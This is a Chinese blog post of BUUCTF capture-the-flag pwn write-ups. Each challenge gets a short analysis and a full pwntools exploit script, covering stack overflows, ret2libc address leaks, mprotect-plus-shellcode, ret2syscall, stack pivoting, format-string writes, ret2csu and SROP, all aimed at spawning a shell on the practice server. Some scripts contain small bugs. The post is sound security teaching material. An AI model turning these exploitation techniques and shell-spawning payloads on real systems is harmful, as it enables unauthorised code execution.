远古BUUCTF的wp


搬运,BUUCTF的pwn部分题解

not_the_same_3dsctf_2016

0X01

和get_started_3dsctf_2016类似

大概思路是先控制程序流到get_secret函数读取flag到f14g变量,再控制返回地址为write函数输出f14g变量的内容

from pwn import *
p = remote("node4.buuoj.cn",25684)

elf= ELF(./not_the_same_3dsctf_2016)

write_addr = elf.sym['write']
flag_addr = 0x080ECA2D 
get_secret = 0x080489A0
payload='a'* 0x2d + p32(get_secret) + p32(write_addr) + p32(0) + p32(1) + p32(flag_addr) + p32(45)
p.sendline(payload)
p.interactive()

0x02

第二种思路

用mprotect函数修改.plt.got表内存页权限为可读可写可执行,用read函数将shellcode注入到刚才修改的内存页中,执行shellcode

from pwn import *
sh = remote("node4.buuoj.cn",25684)

elf= ELF(./not_the_same_3dsctf_2016)
pop3_ret = 0x0804f420#gadget:pop ebx; pop esi; pop ebp; ret;用来向mprotect()、read()传参
                     #ROPgadget --binary get_started --only 'pop|ret' | grep pop
#为了后续再能使用栈ret,我们得构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令,为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈完好.

mem_addr = 0x80eb000 #可读可写的内存,但不可执行
mem_size = 0x1000    #通过调试出来的值
mem_proc = 0x7       #可代表可读可写可执行

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

'''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.
'''
payload = 'A' * 45 #填充数据覆盖到ebp
payload += p32(mprotect_addr) #栈返回到mprotect()函数执行
payload += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12

#mprotect 的三个参数 mprotect(0x080ea000,0x1000,0x7)
payload += p32(mem_addr)   #mprotect函数参数1 修改的内存地址
payload += p32(mem_size)   #mprotect函数参数2 修改的内存大小
payload += p32(mem_proc)   #mprotect函数参数3 修改的权限

payload += p32(read_addr) #执行完pop3_ret后弹到read地址
payload += p32(pop3_ret)  #执行完read后将返回到pop3_ret指令,又继续使esp+12

#read 的三个参数 read(0,0x080ea000,0x100)
payload += p32(0)     #read函数参数1 ,从输入端读取,将我们生成的shellcode读入目标内存地址
payload += p32(mem_addr)   #读取到的内容复制到指向的内存里
payload += p32(0x100) #读取大小

payload += p32(mem_addr)   #执行完read后ret esi,这里是返回到我们布置的shellcode执行

sh.sendline(payload)
payload_shellcode = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 

sh.sendline(payload_shellcode)
sh.interactive()

ciscn_2019_n_8

只需要满足var[13] == 17即可getshell;__isoc99_scanf()`函数没有限制输入数据的长度

exp

from pwn import *
context(log_level='debug')
sh = remote('node4.buuoj.cn',25951)
payload = 'a'*4*13 + p32(17) #p32(17)=\x11\x00\x00\x00,16进制小端存储,0x11(16)=17(10)
#这里*4是因为4字节的数组每一项要4字节才能填满,*13是把数组前13项填满,第14项用
sh.sendlineafter("What's your name?\n",payload)
sh.interactive()

get_started_3dsctf_2016

0x00

最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束

0x01

IDA分析

``

方法一:传统栈溢出

可以看到main函数并没有ebp,寻址方式是esp寻址

get_flag函数中,在读取flag之前先经过if判断a1 == 814536271 && a2 == 425138641

构造pay时不可以试图跳过这个判断,无法打通

返回地址一定要覆盖为get_flag函数的开始处

在栈上构造get_flag参数

payload = b’a’ * 0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)

注意这里的返回地址为exit的地址,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出

EXP1

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
#p = process('./get_started_3dsctf_2016')
p = remote('node4.buuoj.cn',25669)

get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a' * 0x38+p32(get_flag_addr)+p33(exit_addr)+p32(a1)+p32(a2)
p.sendline(payload)
p.interactive()

0x02

方法二:系统调用

利用ROPgadget找到需要的gadget

pop_eax_ret = 0x080b91e6

pop_edx_ecx_ebx_ret = 0x0806fc30

int80 = 0x0806d7e5

但是没有找到”/bin/sh”字符串,考虑在其他寄存器写入/bin/sh,再赋值给edx

看看有没有类似的mov指令

mov_edx_eax_ret = 0x080557ab

你猜猜我mov_edx_eax_ret怎么找的(裂开)

可以看到,该处指令mov [edx], eax 是将eax寄存器里的值写到eedx所存的地址处[edx],攻击的思路就是讲[edx]地址覆盖为/bin/sh写入地址,并利用eax寄存器将字符串/bin/sh存入。

需要注意的是,该程序没有给出可用的bss段变量,栈空间一般情况下开启ASLR地址随机,所以我们用vmmap查找可读的内存空间作为入/bin/sh的地址

这篇参考的链接,使用0x080eb020 作为存放/bin/sh的地址,但是使用vmmap可以看到没有以这个地址开头或结束的段,而且也不存在可写可执行的段,只有0x80ea000到0x80ec000是可写的文件段(实际上0x080eb020 也在该段中)

补充一下,同时其实我们可以看出来vmmap出来的地址段是没有libc中的内容的,实际上get_started_3dsctf_2016是静态链接

整体的rop流程为,分两次每次四字节将”/bin” “/sh\x00”先存入eax,再利用Pop将edx置为0x80ea000,再利用mov指令将字符串放入该地址指向空间,最后返回系统调用

from pwn import *

local = 0
if local == 1:
    io = process('./get_started_3dsctf_2016')
else:
    io = remote('node4.buuoj.cn',25878)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
w_addr = 0x80ea000#0x080eb020
payload = b'a'*56+p32(pop_eax_ret)+b'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+b'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(w_addr)+p32(int80)
io.sendline(payload)

io.interactive()
~                              

0x03

方法三:mprotect函数修改地址权限

利用mprotect()函数来修改内存权限,一般是将.bss端修改为可读可写可执行,然后通过read()函数向目标内存写入shellcode,然后getshell (因为是静态链接的,所有的函数都会链接到程序,肯定会存在一个mprotect()函数 )

include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。

len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1

我们通过vmmap可以看到0x080ea000到0x080ec000是可读可写但是不可执行的(开了NX保护),所以用mprotect()将这一段修改成可读可写可执行,然后通过read()传shellcode到此处

需要注意的是mprotect指定的内存区间必须包含整个内存页(4K),并且区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍(0x1000=4096)

我们知道32位调用函数不需要寄存器传参,但是我们需要用pop,ret来控制程序运行流程, 用 ROPgadget 随便选一个有三个寄存器加一个ret的gadget

from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = remote('node4.buuoj.cn',27364)
#sh = process('./get_started_3dsctf_2016')
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug

mprotect = 0x0806EC80
buf_addr = 0x80eb000   #要修改的内存页首地址
buf_size = 0x1000      #要修改的内存页大小
buf_prot = 0x7         #要修改的权限

pop_3_ret = 0x08063adb  #寄存器传参外加ret返回read函数地址 
#0x08063adb : pop edi ; pop esi ; pop ebx ; ret

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
read_addr = 0x0806E140

payload = b'a'*0x38
payload += p32(mprotect)  #先将返回地址覆盖为mprotect函数地址

payload += p32(pop_3_ret)  #通过三个寄存器传参再加上ret返回栈上下一个函数地址
payload += p32(buf_addr)    #要修改的内存页首地址
payload += p32(buf_size)    #要修改的内存页大小
payload += p32(buf_prot)    #要修改的权限

payload += p32(read_addr)  #ret返回栈上下一个函数地址为read函数地址
payload += p32(buf_addr)    #read函数的返回地址
payload += p32(0)           #read函数的第一个参数
payload += p32(buf_addr)    #read函数的第二个参数
payload += p32(0x100)    #read函数的第三个参数
sh.sendline(payload)    

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')   
sh.sendline(shellcode)      #read函数输入buf_addr的字符串

sh.interactive()

0x04

参考文章

1 2 3 4 5 6

ciscn_2019_c_1

0x01

简单的ret2libc3
file checksec —— 64-bit 开NX

0x02

运行一下看看

再看看IDA

研究了半天发现是让你加解密的
再看看string window 没用system和binsh
又发现加密函数里有gets函数,可构成栈溢出

0x03

分析大致流程就是

  1. 利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使用的libc的版本
  2. 用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
  3. 得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后就可以去执行system(’/bin/sh‘)

0x04

写exp

from pwn import*
from LibcSearcher import*

p=remote('node4.buuoj.cn',28342)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

p.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

p.sendlineafter('encrypted\n',payload)

p.interactive()

0x05

libcsearch的github网址
安装

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop

覆盖数据payload=b’\0’+b’a’*(0x50-1+8)
\0是为了让加密函数的一个strlen函数停止(这个函数遇‘0’会停止),从而绕过加密,保证我们构造的rop不会被破坏,
buf的大小为0x50
-1是减去\0
+8是覆盖rbp

这道题的接收非常讲究
泄露地址接收时先是两下recvline(),
原因

recvline()一次接收到\n;
第一次recvline只能到Ciphertext;
第二次只能接收到0a
第三次的recvuntil才开始处理泄露的got地址。
先开一下context_log_lever=’debug’,整体看一下, 再自己recvuntil看能接收到什么内容。

然后再用recvuntil(‘\n’)[:-1].ljust(8,’\0’)来舍弃接收到的字符串最后的’\x0’并向左补齐

这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。因此要用寄存器存参

注意栈对齐

还有最后还要再输一个0

参考资料:
[BUUCTF]PWN6——ciscn_2019_c_1

[OGeek2019]babyrop

0x01

64位程序,开启NX

没有system函数和/bin/sh字符串

0x02

分析程序: main函数中,先读取一个随机数到fd,并作为参数传入sub_804871F函数,再将sub_804871F函数的返回值作为参数传入sub_80487D0函数里。

main函数

image-20230807205450139

sub_804871F函数

image-20230807205837589

sub_80487D0函数

image-20230807205912958

观察程序我们可以发现sub_80487D0函数有栈溢出漏洞

然而想要利用栈溢出需要我们达成两个目标

1、绕过sub_804871F函数中的exit函数,这就要让strncmp的返回值为0

2、让sub_80487D0函数中a1(即buf[7])的ASCII码值尽可能大,构造栈溢出

0x03

首先第一步,我们知道,buf和s数组完全相等时,strncmp函数返回0,但是sprinf函数将随机数加到了s数组中,buf与s很难相等。不过在v1为0的时候strncmp函数也是会返回0的,而v1是读取的buf的大小,我们可以控制buf的第一位为’\x00’,可起到截断字符串长度的效果。

第二步,若要利用栈溢出ret2libc泄露write函数地址的话,起码需要231+4+4*5 = 255个字节,所以让buf[7] = ‘\xff’即可。代码中的buf[v5-1] = 0改变的是字符串末尾’\x00’的值,不影响buf[7] 。

所以第一次读取的payload为

payload = b'\x00'+b'\xff'*7
p.sendline(payload)

p.recvuntil("Correct\n")

0x04

注意本题提供了libc,直接使用pwntools工具即可,不必使用LibcSearcher

main函数地址用elf.sym[‘main’]是找不到的,objdump -t命令查看发现程序没有符号表,原因应该是出题人使用strip命令去符号表了

完整exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = remote('node4.buuoj.cn',28188)
#p = process('./pwn')

elf = ELF('./pwn')
libc = ELF('libc-2.23.so')

payload = b'\x00'+b'\xff'*7
p.sendline(payload)

p.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
#main_addr = elf.plt['__libc_start_main']
main_addr = 0x8048825

payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)

write_addr = u32(p.recv(4))
#print(hex(write_addr))
libc_base = write_addr -  libc.sym["write"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()

p.sendline(payload)
p.recvuntil("Correct\n")

payload2 = b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()



ciscn_2019_es_2

0x01

32位开NX,有system函数,但是需要传入binsh。

image-20230808113405078

然而,栈上变量 s 位于 ebp-0x28,而 read 函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 = 0x30-0x28个字节供我们进行布局。因此,在只有 ebpret 能被篡改的条件下可尝试使用栈迁移。

image-20230808110517945

程序存在leave ret指令,并且存在system函数可执行

而binsh则需要在栈上传入

So,我们最终要将 esp(与 ebp)劫持到当前栈的另一区域上,以完成传统栈溢出payload的实施

在本题中,劫持目标地址即为缓冲区变量 s 的起始地址

0x02

第一步,泄露出ebp,通过ebp+偏移量的方法计算栈上地址

printf函数在未遇到”\x00”时会一直输出,可以用来泄露出ebp的值

因为栈上地址间的相对位置是确定的,所以我们可以通过第二次输入的位置和泄露的ebp地址的偏移来定位我们的目标地址

在第二次输入read函数返回处下断点调试,计算可得泄露ebp与缓冲区起始位置相距0x38

image-20230808112121242

第二步 栈迁移

精心构造栈上的布局来实现栈迁移

0x03

此处盗图,已标明

画栈图有助于理解整个流程

image-20230808113204424

整个长条表示read读入的字节长度0x30,old_ebp表示泄露的ebp,减去0x38指向的就是变量s的起始位置,返回地址被覆盖为leav_ret的地址。

第一次自带的leave指令执行后,ebp的值为old_ebp - 0x38 ,esp指向篡改的返回地址leave_ret;接着执行ret指令pop eip再一次执行leave ret

第二次leave指令执行后,esp指向ebp+4也就是图中’aaaa’的下一位,ebp的值仍为old_ebp - 0x38 ;此时已经完成栈迁移。接下来ret指令将ebp+4弹入eip执行,所以在aaaa之后的地址需要放置我们的system函数和binsh

image-20230808114650151

binsh和其地址都可以在迁移过后的栈上布局

0x04

exp

from pwn import *

p = remote("node4.buuoj.cn", 28160)

system_addr = 0x08048400
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))

payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret

p.sendline(payload2)
p.interactive()

参考博客

铁人三项(第五赛区)_2018_rop

经典ret2libc3

image-20230807225923356

exp

from pwn import * 
from LibcSearcher import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn') 
p = remote('node4.buuoj.cn',28146)
elf = ELF('./pwn')
main_addr = elf.sym['main']
plt_addr  = elf.plt['write']	
got_addr  = elf.got['write']

pay1 = b'a'*(0x88+4)+p32(plt_addr)+p32(main_addr)+p32(1)+p32(got_addr)+p32(0xD)
p.sendline(pay1)

write_addr = u32(p.recv()[0:4])#0xf7db1190
print("write_addr = ",hex(write_addr))

libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
print("libc_base_addr = ",hex(offset))
print("sys_addr = ",hex(system))
print("sh_addr = ",hex(binsh))
pay2 = b'a'*(0x88+4)+p32(system)+b'aaaa'+p32(binsh)
p.sendline(pay2)
p.interactive()

pwn2_sctf_2016

0x01

32位开NX泄露libc

image-20230808104509112

注意get_n是自定义函数

规定读入v2长度的字符,但是程序要求v2不大于32。观察到int型的v2传入unsigned int型的a2,可以传入-1整数溢出绕过。

ROP链泄露libc,溢出覆盖返回地址getshell

0x02

exp

from pwn import * 
from LibcSearcher import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn0') 
p = remote('node4.buuoj.cn',26602)

p.recvuntil(b"How many bytes do you want me to read?")
p.sendline(b'-1')


libc = ELF('./libc-2.23.so')
elf = ELF('./pwn0') 
main_addr = elf.sym['main']
plt_addr  = elf.plt['printf']	
got_addr  = elf.got['getchar']
fmt = 0x080486F


pay1 = b'a'*(0x2c+4)+p32(plt_addr)+p32(main_addr)+p32(fmt)+p32(got_addr)
#pay1 = b'a'*(0x2c+4)+p32(plt_addr)+p32(main_addr)+p32(got_addr)+p32(fmt)
#pay1 = b'a'*(0x2c+4)+p32(plt_addr)+p32(main_addr)+p32(got_addr)
p.recvuntil(b"\n")
p.sendline(pay1)


getchar_addr= u32(p.recvuntil(b'\xf7')[-4:])
#getchar_addr = u32(p.recv()[0:4])变成接收前面四个字节了
print("getchar_addr = ",hex(getchar_addr))

'''
libc=LibcSearcher('getchar',getchar_addr)
offset=getchar_addr-libc.dump('getchar')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
'''
base_addr = getchar_addr - libc.symbols['getchar']
system = libc.symbols['system'] + base_addr
binsh = libc.search(b'/bin/sh').__next__() + base_addr

print("libc_base_addr = ",hex(base_addr))
#print("libc_base_addr = ",hex(offset))
print("sys_addr = ",hex(system))
print("sh_addr = ",hex(binsh))
pay2 = b'a'*(0x2c+4)+p32(system)+b'aaaa'+p32(binsh)
p.recvuntil(b"How many bytes do you want me to read?")
p.sendline(b'-1')
p.recvuntil(b"\n")
p.sendline(pay2)
p.interactive()

bjdctf_2020_babyrop

0x01

注意这题位64位。32位和64位传参有区别

image-20230807231036816

思路:

  1. 利用puts函数泄露出puts函数真实地址
  2. 通过puts函数地址计算出libc基地址,从而计算出system和binsh的真实地址
  3. 构造rop链栈溢出getshell

puts函数通过pop rdi ; ret 传参

用ROPgadget可以找到

0x02

exp

#encoding = utf-8
 
from pwn import * 
from LibcSearcher import * 
 
context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 1
elf = ELF('./pwn')
 
def main():
    if content == 1:
        p = process('./pwn') 
    else:
        p = remote('node4.buuoj.cn',29917)
    
    #elf
    main_addr = elf.sym['main']
    plt_addr  = elf.plt['puts']
    got_addr  = elf.got['puts']
    pop_rdi   = 0x0400733
    ret_addr  = 0x04004c9
    
    payload   = b'a'*(0x20+0x8) + p64(pop_rdi) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
    p.recvuntil("Pull up your sword and tell me u story!\n")
    p.sendline(payload)
    puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(puts_addr))
    
    #libc
    lib 	        = LibcSearcher('puts',puts_addr) 
    lib_puts_addr   = lib.dump('puts')
    lib_system_addr = lib.dump('system')
    lib_bin_addr    = lib.dump('str_bin_sh')
    
    #base
    base_addr       = puts_addr - lib_puts_addr
    system_addr	= base_addr + lib_system_addr
    bin_addr	= base_addr + lib_bin_addr
    payload		= b'a'*(0x20+0x8) + p64(ret_addr) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
    p.recvuntil("Pull up your sword and tell me u story!\n")
    p.sendline(payload)
    
    p.interactive()
main()

[HarekazeCTF2019]baby_rop2

64位的ret2libc3

0x01

image-20230808095301880

利用printf泄露libc版本和基地址,传参的时候需要传入格式化字符串%s给寄存器rdi(程序中第二个printf函数自带,返回至该格式化字符串地址即可);并将想要泄露的read_got传给寄存器。

0x02

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.buuoj.cn',25502)
#p = process('./babyrop2')

elf = ELF('./babyrop2')
libc = ELF('libc.so.6')

#一定要用题目给的libc文件,可能必须要用题目给的才能打通

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
fmt = 0x0000000000400790

payload1 = b'a'*(0x20+8)+p64(pop_rdi)+p64(fmt)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload1)

read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("read_addr ======>> "+hex(read_addr))
libc_base = read_addr -  libc.sym["read"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()

payload2 = b'a'*0x28+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
p.sendline(payload2)

p.interactive()



jarvisoj_fm

BUUCTF pwn
考点:格式化字符串漏洞

image-20230807232152466

格式化字符串,任意地址写漏洞

将x写为4即可getshell,x的地址为0x0804a02c,调试可得输入的内容位于栈偏移11个单位处

exp

from pwn import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn')

p=remote('node4.buuoj.cn',29551)
x_addr=0x804A02C

payload=p32(x_addr)+b"%11$n"

p.sendline(payload)

p.interactive()

或更通用

#!/usr/bin/env python2
#-*- coding=UTF-8 -*-
from pwn import *
context.log_level = 'debug'
#sh = process('./jarvisoj_fm')
sh = remote('node3.buuoj.cn',26325)
#gdb.attach(sh)
x_addr = 0x0804a02c
#将栈偏移13个单位处的x_addr指针指向的地址内容修改为4
#payload中x_addr写入的位置为栈偏移13处,见下图
#25346225(小端)是栈偏移11,所以2ca00408(小端)是栈偏移11+2=13
payload = '%4c%13$n' + p32(x_addr)
#pause()
sh.sendline(payload)
sh.sendline('cat flag')
sh.interactive()

ciscn_2019_s_3

0x01

64位开启NX

image-20230808184656119

注意程序直接使用sys_read和sys_write函数而不是通常的read和write,在构造payload时要注意在函数返回时没有pop rbp这一步而是直接执行ret,所以我们直接覆盖rbp为vuln函数地址。

0x02

本题两种做法,一种是ret2csu,利用__libc_csu_init布置栈空间;一种是SROP

题目也给出了相应的gadgets,若选择rax传参0xF(系统调用号),则可执行sigreturn系统调用;若选择rax传参0x3B,则可执行excve(‘/bin/sh’,0,0)系统调用

image-20230808184158810

我们需要在栈上布置ROPgadgets和各参数,而栈地址是随机的,所以我们首先要泄露栈地址。

同时我们知道栈上的各地址间的相对位置是不变的,所以泄露出栈地址后可以通过与buf的偏移计算出buf的地址

经过调试发现,如图: buf的起始地址为0x7fffffffded0,目标泄露栈地址(即某个rbp的值)为图中栈偏移为02的地址0x7fffffffe018,二者相差0x148。这是本地的偏移,若要获得与远程环境相同的偏移要应用patchelf。具体可看这篇文章。用相同的方法调试可得远程偏移为0x118.

image-20230808185715664

image-20230808185747565

在接收泄露的栈地址之前需要去掉多余的buf(0x10)+rbp(vul_addr)+栈上偏移为01的地址。

exp第一部分

vul_addr = 0x4004ed
ret_addr = 0x4003a9

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
#buf_addr = stack_addr-0x118
buf_addr = stack_addr-0x148

0x03

第一种做法:ret2csu控制执行execve

__libc_csu_init (具体可以看ctf-wiki中的介绍)

image-20230808200450127

需要将各寄存器置为: rax 0x3B rdi = ‘/bin/sh’ rsi = 0 rdx = 0

ROPgadget 能找到控制rdi和rsi的,以及syscall (不过实际上没有用rsi的,因为csu中有pop r14和mov rsi, r14指令,可以通过栈上布置将rsi置为0)

image-20230808202429992

image-20230808200850211

现在还要想办法控制rdx

通过__libc_csu_init可以看到,我们可以先执行pop r13然后再执行mov rdx, r13将rdx置为0

同时还要注意:

  1. 0x400589: call [r12 + rbx * 8], 会执行r12+rbx8地址指向的函数,不过这里没有需要执行的函数,所以可以在buf里放了个ret;的地址…, 然后让r12 + rbx8指向buf;call函数之前会自动将下一条指令入栈,接着执行ret则rsp指针相当于不变
  2. cmp rbx, rbp; jnz short loc_400580, 如果rbx和rbp相同会循环。想要绕过需要使 rbx = 0 rbp = 1
  3. 泄露函数地址后直接重进的vul函数,buf的地址不变
pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

payload = p64(ret_addr) + b'/bin/sh\0'#为之后函数跳转和传入binsh做准备
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # 6个pop
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr,r13 r14 r15 = 0
payload += p64(0x400580)         #执行寄存器r12指向的函数  (也就是ret);把rdx设为0            
payload += p64(0) * 7 # 这里执行到0x400596后又会重新pop一遍, 开头执行add rsp, 8让rsp跳过了栈上的一个数据,如何执行6pop,所以栈上布置7个0
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()

第二种:SROP

具体可参考ctf-wiki

本题解法可参考这篇博客

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)

利用pwntools的sigframe模块即可

其实这两种解法都是以程序读入足够多的字节为条件的

完整exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h'] 
p = process('./ciscn_s_3')
#p = remote('node4.buuoj.cn',29591)


pop_rdi_ret = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9

vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)

p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
#buf_addr = stack_addr-0x118
buf_addr = stack_addr-0x148

gdb.attach(p)

payload = p64(ret_addr) + b'/bin/sh\00'


payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7
payload += p64(pop_rdi_ret) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
#payload += p64(vul_addr)
'''

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
'''

p.send(payload)
p.interactive()

文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录